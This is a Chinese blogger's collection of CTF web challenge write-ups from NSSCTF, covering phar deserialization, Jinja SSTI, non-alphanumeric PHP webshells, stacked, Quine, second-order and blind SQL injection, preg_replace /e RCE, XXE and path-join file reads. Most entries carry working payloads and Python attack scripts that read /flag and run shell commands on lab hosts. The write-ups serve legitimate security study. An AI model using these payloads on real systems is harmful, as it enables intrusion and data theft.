NSSCTF web 刷题,督促自己用的,图就不放了,好麻烦嘤嘤嘤
[SWPU 2018]SimplePHP
一眼任意文件读取
获取目录下的文件
index.php
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
base.php
upload_file.php
然后我们需要进行的就是代码审计
上传的文件后缀限定为白名单,且会强制改成.jpg,那么正常的文件上传漏洞就不存在了,得想其他办法,源码中其实也给了提示,phar反序列化,给了文件包含的点,也给了文件上传的点,那么就可以利用phar反序列化了。那么接下来就要找链条了
1 C1e4r::__destruct() -> Show::__toString() -> Test::__get() -> Test::get() -> Test::file_get()
链子拿捏了,构造就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class C1e4r { public $str ; } class Show { public $str ; } class Test { public $params ; } $c =new C1e4r ();$s =new Show ();$t =new Test ();$t ->params['source' ]='/var/www/html/f1ag.php' ;$s ->str['str' ]=$t ;$c ->str=$s ;echo serialize ($c );@unlink ('test.phar' ); $phar = new Phar ('test.phar' );$phar -> startBuffering (); $phar -> setStub ('GIF89a<?php __HALT_COMPILER();?>' ); $phar ->addFromString ('test.txt' ,'test' ); $phar -> setMetadata ($c ); $phar -> stopBuffering ();
然后将phar文件后缀改成jpg,上传后在upload目录下获取名称然后在file.php文件下进行phar文件包含即可获取flag
[CISCN 2019华东南]Double Secret 扫目录发现/secret目录
传入secret参数后会加密后进行回显,11111就报错了,同时发现泄露了部分源码
1 2 3 4 5 6 7 8 if (secret==None ): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure" ) deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a
一眼ssti
RC4加密后用render_template_string进行模板渲染,RC4密钥为HereIsTreasure,同时用safe()函数对恶意代码进行过滤
那接下来就试着ssti
那就
1 {{''.__class__.__mro__[2]}}
这样就能获得object了
1 {{''.__class__.__mro__[2].__subclasses__()}}
然后不知道找哪个类了,网上说用warnings.catch_warnings类然后
1 {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
但是我不太行啊,不知道为啥。
后来用config直接试,居然可以
1 {{config.__class__.__init__.__globals__}}
1 {{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
1 {{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}
NSSCTF{2503893c-a2dd-44f5-822d-40536acbabd0}
后来又回归之前的payload,用<class ‘site._Printer’>类里面的globals有os模块,是可以用的
1 {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('cat /f*').read()}}
warnings.catch_warnings类有open模块,可以直接打开文件
1 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}
[TQLCTF 2022]simple_bypass 注册登陆一下就好,在好康的处发现php的跳转,发现那里可能存在任意文件读取
1 http://node4.anna.nssctf.cn:28995/get_pic.php?image=/etc/passwd
然后查看源代码获取一串base64
实锤了!任意文件读取,那就读取一下当前的这个文件吧。
1 2 3 4 5 <?php error_reporting (0 );$image = (string )$_GET ['image' ];echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode (file_get_contents ($image )) . '" /> </div>' ;?>
没啥用,那就看看index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 <?php error_reporting (0 );if (isset ($_POST ['user' ]) && isset ($_POST ['pass' ])){ $hash_user = md5 ($_POST ['user' ]); $hash_pass = 'zsf' .md5 ($_POST ['pass' ]); if (isset ($_POST ['punctuation' ])){ if (strlen ($_POST ['user' ]) > 6 ){ echo ("<script>alert('Username is too long!');</script>" ); } elseif (strlen ($_POST ['website' ]) > 25 ){ echo ("<script>alert('Website is too long!');</script>" ); } elseif (strlen ($_POST ['punctuation' ]) > 1000 ){ echo ("<script>alert('Punctuation is too long!');</script>" ); } else { if (preg_match ('/[^\w\/\(\)\*<>]/' , $_POST ['user' ]) === 0 ){ if (preg_match ('/[^\w\/\*:\.\;\(\)\n<>]/' , $_POST ['website' ]) === 0 ){ $_POST ['punctuation' ] = preg_replace ("/[a-z,A-Z,0-9>\?]/" ,"" ,$_POST ['punctuation' ]); $template = file_get_contents ('./template.html' ); $content = str_replace ("__USER__" , $_POST ['user' ], $template ); $content = str_replace ("__PASS__" , $hash_pass , $content ); $content = str_replace ("__WEBSITE__" , $_POST ['website' ], $content ); $content = str_replace ("__PUNC__" , $_POST ['punctuation' ], $content ); file_put_contents ('sandbox/' .$hash_user .'.php' , $content ); echo ("<script>alert('Successed!');</script>" ); } else { echo ("<script>alert('Invalid chars in website!');</script>" ); } } else { echo ("<script>alert('Invalid chars in username!');</script>" ); } } } else { setcookie ("user" , $_POST ['user' ], time ()+3600 ); setcookie ("pass" , $hash_pass , time ()+3600 ); Header ("Location:sandbox/$hash_user .php" ); } } ?> <!doctype html> <html lang="zh" > <head> <meta charset="UTF-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Simple Linux</title> <link rel="stylesheet" type="text/css" href="css/styles.css" > <!--[if IE]> <script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js" ></script> <![endif ]--> </head> <body> <div class ="jq22 -container " style ="padding -top :100px "> <div class ="login -wrap "> <div class ="login -html "> <input id ="tab -1" type ="radio " name ="tab " class ="sign -in " checked ><label for ="tab -1" class ="tab ">Sign In </label > <input id ="tab -2" type ="radio " name ="tab " class ="sign -up "><label for ="tab -2" class ="tab ">Sign Up </label > <div class ="login -form "> <form action ="index .php " method ="post "> <div class ="sign -in -htm "> <div class ="group "> <label for ="user " class ="label ">Username </label > <input id ="user " name ="user " type ="text " class ="input "> </div > <div class ="group "> <label for ="pass " class ="label ">Password </label > <input id ="pass " name ="pass " type ="password " class ="input " data -type ="password "> </div > <!-- <div class ="group "> <input id ="check " type ="checkbox " class ="check " checked > <label for ="check "><span class ="icon "></span > Keep me Signed in </label > </div > --> <div class ="group "> <input type ="submit " class ="button " value ="Sign In "> </div > <div class ="hr "></div > <!-- <div class ="foot -lnk "> <a href ="#forgot ">Forgot Password ?</a > </div > --> </div > </form > <form action ="index .php " method ="post "> <div class ="sign -up -htm "> <div class ="group "> <label for ="user " class ="label ">Username </label > <input id ="user " name ="user " type ="text " class ="input "> </div > <div class ="group "> <label for ="pass " class ="label ">Password </label > <input id ="pass " name ="pass " type ="password " class ="input " data -type ="password "> </div > <div class ="group "> <label for ="pass " class ="label ">Your Website </label > <input id ="pass " name ="website " type ="text " class ="input "> </div > <div class ="group "> <label for ="pass " class ="label ">Your Punctuation </label > <input id ="pass " name ="punctuation " type ="text " class ="input "> </div > <div class ="group "> <input type ="submit " class ="button " value ="Sign Up "> </div > <div class ="hr "></div > <div class ="foot -lnk "> <label for ="tab -1">Already Member ?</a > </div > </div > </form > </div > </div > </div > </div > </body > </html >
审计上方代码发现存在file_put_contents,可以对php文件写入一句话木马。
有四个选择,选哪个好呢?接下来我们看看template.html,并找到关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <li><span class="adminImg"></span> <?php error_reporting(0); $user = ((string)__USER__); $pass = ((string)__PASS__); if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){ echo($_COOKIE['user']); } else{ die("<script>alert('Permission denied!');</script>"); } ?> </li> </ul> <ul class="item"> <li><span class="sitting_btn"></span>系统设置</li> <li><span class="help_btn"></span>使用指南 <b></b></li> <li><span class="about_btn"></span>关于我们</li> <li><span class="logout_btn"></span>退出系统</li> </ul> </div> </div> </div> <a href="#" class="powered_by">__PUNC__</a>
只有__PUNC__是最好利用的,但是问号被过滤了,想要让它解析php,这时就需要它在上面的php里面,但是上面的php被闭合过了,但是我们又发现其实__USER__,__PASS__这些都是可控的,我们可以使用多行注释来解决问题。最后再把后面的注释掉就行,不然标签闭合会出现问题。
1 2 3 4 5 注册时用户名为a/* 密码为a website为a 描述为*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/* 即可,无数字字母rce,简单的很
1 file_put_contents('sandbox/'.$hash_user.'.php', $content);
查看网页源代码即可获取flag
[强网杯 2019]随便注 sql注入题
存在过滤,不好直接联合注入啊
试试堆叠
存在堆叠注入
1 2 3 1';show databases;# 1';show tables;# 1';show columns from `1919810931114514`;#
但是这里select等被过滤了,该怎么办呢?
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。 通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
1 1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;#
1 NSSCTF{64bfe910-ba05-4133-8fdf-11bdf68fd5ce}
以上为第一种方法
还有两种思路!!!
方法一:
直接查1,搜到的是words表的相关内容,而搜不到flag表的相关内容,那么我们可不可以把flag表变成words表呢,那不就可以直接搜到flag表的内容了吗?!
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1 1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
方法二:
因为select被过滤了,所以先将select * from 1919810931114514
进行16进制编码
再通过构造payload得
1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
[BJDCTF 2020]ZJCTF,不过如此 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
1 http://node4.anna.nssctf.cn:28418/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
本来试了一下filterchain,可以用是可以用但是flag出不来,可能被特意设计了
这里主要涉及到preg_replace
的一个RCE漏洞,参考:https://xz.aliyun.com/t/2557
主要就是构造preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});
大概就是把所有字符替换为函数执行结果。 但是GET传.*=xxx
会出问题,自动将第一个非法字符转化为下划线(看链接),所以构造:
这里没有出flag,那就是环境问题了,之前的filterchain应该也是可以的!!
[NISACTF 2022]hardsql 1 2 password=_POST[‘passwd’]; sql="SELECT passwd FROM users WHERE username=′bilala′ and passwd=′password’;";
根据题目描述,username为bilala,password处存在注入点,可以进行sql注入测试。
先fuzz一下,存在waf
发现like和百分号没有被过滤,直接爆破密码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import stringimport requestsurl='http://node5.anna.nssctf.cn:23092/login.php' str_sum=string.digits+string.ascii_letters flag='' for i in range (50 ): for j in str_sum: data={"username" :"bilala" ,"passwd" :f"-1'/**/or/**/passwd/**/like/**/'{flag+j} %'#" } res=requests.post(url,data) print (data) if "nothing" not in res.text: flag+=j print (flag) break else : print (flag) break
1 b2f2d15b3ae082ca29697d8dcd420fd7
登陆成功后源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include_once ("config.php" );function alertMes ($mes ,$url ) { die ("<script>alert('{$mes} ');location.href='{$url} ';</script>" ); } function checkSql ($s ) { if (preg_match ("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i" ,$s )){ alertMes ('waf here' , 'index.php' ); } } if (isset ($_POST ['username' ]) && $_POST ['username' ] != '' && isset ($_POST ['passwd' ]) && $_POST ['passwd' ] != '' ) { $username =$_POST ['username' ]; $password =$_POST ['passwd' ]; if ($username !== 'bilala' ) { alertMes ('only bilala can login' , 'index.php' ); } checkSql ($password ); $sql ="SELECT passwd FROM users WHERE username='bilala' and passwd='$password ';" ; $user_result =mysqli_query ($MysqlLink ,$sql ); $row = mysqli_fetch_array ($user_result ); if (!$row ) { alertMes ('nothing found' ,'index.php' ); } if ($row ['passwd' ] === $password ) { if ($password == 'b2f2d15b3ae082ca29697d8dcd420fd7' ){ show_source (__FILE__ ); die ; } else { die ($FLAG ); } } else { alertMes ("wrong password" ,'index.php' ); } } ?>
重点在此处:
1 2 3 4 5 6 7 8 if ($row ['passwd' ] === $password ) { if ($password == 'b2f2d15b3ae082ca29697d8dcd420fd7' ){ show_source (__FILE__ ); die ; } else { die ($FLAG ); }
考点为sql注入之Quine注入
这里先介绍一下Quine注入:
https://nakaii.top/2023/04/24/%E8%AE%B0%E4%B8%80%E6%AC%A1Quino%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/index.html
Quine又称为自产生程序,在sql注入中是一种使得输入的sql语句和输出的sql语句一致的技术,就是说输入的语句进行查询后生成的结果与输入的语句相同(自己生成自己),可以看到题目中的判断正是考察了这个点。
突破口是replace函数
replace(object, search, replace)
此函数用于将object中的所有search替换为replace。
1 2 3 4 5 6 7 MariaDB [(none)]> select replace(".", char(46), "!"); +-----------------------------+ | replace(".", char(46), "!") | +-----------------------------+ | ! | +-----------------------------+ 1 row in set (0.000 sec)
尝试使输入输出保持一致!
替换object
尝试通过替换object使输入输出保持一致:
1 2 3 4 5 6 7 MariaDB [(none)]> select replace('replace(".",char(46),".")',char(46),'.'); +---------------------------------------------------+ | replace('replace(".",char(46),".")',char(46),'.') | +---------------------------------------------------+ | replace(".",char(46),".") | +---------------------------------------------------+ 1 row in set (0.000 sec)
还是差一点,只是将object中的字符串原样输出了,replace还没怎么用到,是否可以通过更改replace使输入输出保持一致?
替换object+replace
1 2 3 4 5 6 7 MariaDB [(none)]> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")'); +---------------------------------------------------------------------------+ | replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') | +---------------------------------------------------------------------------+ | replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") | +---------------------------------------------------------------------------+ 1 row in set (0.000 sec)
可以看到确实长得差不多了,但还是有问题,包围object和replace的符号仍然有差异。object中的.被替换为了replace(“.”,char(46),”.”),但包围.的引号为双引号,如果直接更改为单引号会造成最外层replace的object界限不明确,因此还需要再套一层replace,将双引号改为单引号。
解决引号问题
1 replace('"."',char(34),char(39))
语句将字符串中的双引号替换为了单引号,这就是解决引号问题的方法,即在object外再套一层replace将里面的双引号更改为单引号:
1 2 3 4 5 6 7 MariaDB [(none)]> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")'); +------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') | +------------------------------------------------------------------------------------------------------------------------------------------------------------+ | replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') | +------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.000 sec)
总结
Quine基本形式:
replace(replace(‘str’,char(34),char(39)),char(46),‘str’)
先将str里的双引号替换成单引号,再用str替换str里的.
str基本形式(可以理解成上面的”.”):
replace(replace(“.”,char(34),char(39)),char(46),”.”)
完整的Quine就是Quine基本形式+str基本形式
这时我们再回头看题目
str基本形式为
1 "/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
quine基本形式为
1 '/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#
总体为
1 '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
但是此处char被过滤,那么用chr也行
1 '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#
NSSCTF{23e578bc-4904-467f-8c73-544bccadb796}
[October 2019]Twice SQL Injection 标题直说了,二次注入
存在登陆注册界面,可能就是通过注册,将恶意sql存入数据库,登陆时将username代入select语句从而导致了二次注入
1 1' union select database()#
以上payload使登陆后页面回显ctftraining
1 1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
1 1' union select (select group_concat(column_name) from information_schema.columns where table_name='flag')#
1 1' union select (select group_concat(flag) from flag)#
1 NSSCTF{1f52dc37-5280-432e-8935-ed7a31f848a0}
[鹏城杯 2022]简单的php 1 2 3 4 5 6 7 8 9 10 11 <?php show_source (__FILE__ ); $code = $_GET ['code' ]; if (strlen ($code ) > 80 or preg_match ('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is' ,$code )){ die (' Hello' ); }else if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $code )){ @eval ($code ); } ?>
无字母字母rce和无参rce的结合版
看过滤,直接用取反就可以
最终想要构造的是
1 system(end(getallheaders()));
1 [~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
然后用二维数组进行拼接必须有[!%FF进行分割]
NSSCTF{8eb0d6fc-55b1-4d5b-90bc-5140b5565b6b}
[NISACTF 2022]middlerce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include "check.php" ;if (isset ($_REQUEST ['letter' ])){ $txw4ever = $_REQUEST ['letter' ]; if (preg_match ('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m' ,$txw4ever )){ die ("再加把油喔" ); } else { $command = json_decode ($txw4ever ,true )['cmd' ]; checkdata ($command ); @eval ($command ); } } else { highlight_file (__FILE__ ); } ?>
只需绕过preg_match后面就简单了,preg回溯次数绕过,大于1000000字符就可以啦简单
1 2 3 4 5 6 7 8 9 10 import requestsurl='http://node4.anna.nssctf.cn:28728/' payload='{"cmd":"eeeee","aaa":"' +"$" *1000000 +'"}' print (payload)res=requests.post(url,data={"letter" :payload}) print (res.text)
回显不再是再加把油喔,那么就成功了,接下来我们需要绕过的就是checkdata函数!
eval的话可以短标签+反引号
1 2 3 4 5 6 7 8 9 10 import requestsurl='http://node4.anna.nssctf.cn:28728/' payload='{"cmd":"?><?=`ls /`?>","aaa":"' +"$" *1000000 +'"}' print (payload)res=requests.post(url,data={"letter" :payload}) print (res.text)
根目录发现/flag,那么就拿捏了啊
[CISCN 2023 华北]ez_date 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } unserialize (base64_decode ($_GET ['code' ]));
php反序列化
1 2 3 4 5 <?php $a =date ("/f\l\a\g" );echo $a ;
1 2 3 4 5 6 $content=date($this->file); # $content接受经过被date函数格式化后的变量file # date()的说明: # 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等 # 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
payload如下:
1 2 3 4 5 6 7 8 9 10 <?php class date { public $a =1 ; public $b ='1' ; public $file ="/f\l\a\g" ; } } $a =new date ();echo serialize ($a );
[NISACTF 2022]babyupload 打开后出现了一个简单的文件上传界面,查看一下源码,发现hint为/source,访问一下获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuidapp = Flask(__name__) SCHEMA = """CREATE TABLE files ( id text primary key, path text ); """ def db (): g_db = getattr (g, '_database' , None ) if g_db is None : g_db = g._database = sqlite3.connect("database.db" ) return g_db @app.before_first_request def setup (): os.remove("database.db" ) cur = db().cursor() cur.executescript(SCHEMA) @app.route('/' ) def hello_world (): return """<!DOCTYPE html> <html> <body> <form action="/upload" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"> </form> <!-- /source --> </body> </html>""" @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True ) @app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid) @app.route('/file/<id>' ) def file (id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None : return "File not found" , 404 with open (os.path.join("uploads/" , res[0 ]), "r" ) as f: return f.read() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
进行常规的代码审计,发现上传的文件名不能有点,那么上传木马啥的就不存在了,因为解析不了,挺安全的,但我们接着往下看,上传文件后会获得一个uuid并将uuid和filename一起存入数据库,在file目录下可以查询上传的文件,在file函数中有一个重要的利用点
打开uploads目录下的文件并读取内容,然后return。此处存在绝对路径拼接漏洞!!!
1 2 3 4 5 绝对路径拼接漏洞 os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。 然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
因此,如果我们上传/flag,那么uploads将被删除,直接读取/flag下的内容,那就拿捏了!
然后访问file下即可
1 NSSCTF{0aff3bd4-26ba-4b76-bf5c-36bf2eb5e175}
[CSAWQual 2019]Unagi
点击here后显示如下:
同时题目告诉我们flag在/flag,那么xxe拿捏了。
上传xml即可,但是上传后发现存在waf
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0"?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag">]> <users> <user> <username>&xxe;</username> <password>&xxe;</password> <name>&xxe;</name> <email>&xxe;</email> <group>&xxe;</group> <intro>&xxe;</intro> </user> </users>
那就编码转换一下,简单。
1 iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
1 NSSCTF{b4784f04-d534-46f9-adee-431ea58cb80a}
[CISCN 2019华北Day2]Web1 布尔盲注,这里就简单地贴两个脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport sysimport timeurl = "http://node4.anna.nssctf.cn:28299/index.php" flag = "" for i in range (1 ,60 ): max = 127 min = 32 while min <max : mid = (max +min )//2 payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)" .format (i,mid) print (payload) data = { "id" :payload } res = requests.post(url= url,data=data) time.sleep(0.3 ) if 'Hello' in res.text: min =mid+1 else : max =mid flag+=chr (min ) print (flag)
